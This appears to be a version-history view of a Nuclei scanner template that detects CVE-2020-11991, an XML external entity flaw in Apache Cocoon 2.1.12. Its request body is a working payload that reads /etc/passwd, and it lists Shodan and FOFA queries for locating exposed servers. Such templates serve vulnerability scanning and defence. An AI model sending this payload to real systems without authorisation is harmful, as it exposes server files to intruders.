2021-02-13 07:17:02 +00:00
id : CVE-2020-11991
info :
2022-11-29 05:33:38 +00:00
name : Apache Cocoon 2.1.12 - XML Injection
2021-02-13 07:17:02 +00:00
author : pikpikcu
severity : high
2022-05-17 09:18:12 +00:00
description : Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and remote code execution.
2023-09-06 12:22:36 +00:00
remediation : Upgrade to Apache Cocoon 2.1.13 or later.
2022-04-07 13:53:15 +00:00
reference :
- https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
- https://nvd.nist.gov/vuln/detail/CVE-2020-11991
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
2024-05-31 19:23:20 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/H4ckTh3W0r1d/Goby_POC
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-11991
cwe-id : CWE-611
2024-05-31 19:23:20 +00:00
epss-score : 0.81306
epss-percentile : 0.98339
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
2022-05-12 14:18:36 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : cocoon
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"Apache Cocoon"
- http.html:"apache cocoon"
2024-05-31 19:23:20 +00:00
fofa-query : body="apache cocoon"
2022-04-07 13:53:15 +00:00
tags : cve,cve2020,apache,xml,cocoon,xxe
2021-02-13 07:17:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-13 07:17:02 +00:00
- method : POST
path :
- "{{BaseURL}}/v2/api/product/manger/getInfo"
2023-07-11 19:49:27 +00:00
2021-02-13 07:17:02 +00:00
body : |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
2021-02-13 08:02:07 +00:00
<firstName>John</firstName>
2021-02-13 07:17:02 +00:00
<lastName>&ent;</lastName>
</userInfo>
2023-07-11 19:49:27 +00:00
headers :
Content-Type : "text/xml"
2021-02-13 07:17:02 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-13 07:49:37 +00:00
2021-02-13 07:17:02 +00:00
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022069691e8e255683a2e63c28cab0f8cbe882c5dc1b7dfdb707933805ba1e1dda2d022100ae5532b5a7f45088b67709a1eefea46742b5c1337faca641713cb3713a288557:922c64590222798bb761d5b6d8e72950